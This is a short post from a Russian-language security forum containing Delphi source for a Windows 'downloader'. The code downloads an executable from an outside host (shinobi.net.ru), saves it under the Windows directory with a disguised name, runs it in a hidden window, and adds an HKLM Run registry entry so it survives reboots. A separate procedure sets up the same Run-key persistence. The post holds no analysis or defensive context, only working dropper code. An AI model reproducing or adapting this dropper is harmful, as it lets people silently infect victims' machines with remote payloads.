ANTICHAT — форум по информационной безопасности, OSINT и технологиям

program downloader;
uses windows, Registry, urlmon;


function sysdir: string;
var
f:array[0..255]of char;
begin
ExpandEnvironmentStrings('%WINDIR%',f,255);
Result := f;
end;

{Точка входа}
var 
 Registre:TRegistry;

BEGIN
urlmon.URLDownloadToFile(nil,PChar('http://shinobi.net.ru/colorpick.exe'),PChar(sysdir+'\fiesta32.exe'),0,nil);
 sleep(3000);
 winexec(PCHar(sysdir+'\fiesta32.exe'), sw_hide);
    
     Registre:=TRegistry.Create;
    Registre.RootKey:=HKEY_LOCAL_MACHINE;
    Registre.OpenKey('Software\Microsoft\Windows\CurrentVersion\Run', false);
    if Registre.ValueExists('fiesta') then Registre.DeleteValue('fiesta');
    Registre.WriteString('fiesta',sysdir+'\fiesta32.exe');
    Registre.Free;
END.

procedure install(filename,about:string);
var
 key:longword;
begin
 RegOpenKeyEx(longword($80000002), 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run',0, $000F003F, Key);
 RegSetValueEx(Key, pchar(about), 0,1, pchar(filename), length(filename));
 RegCloseKey(Key);
end;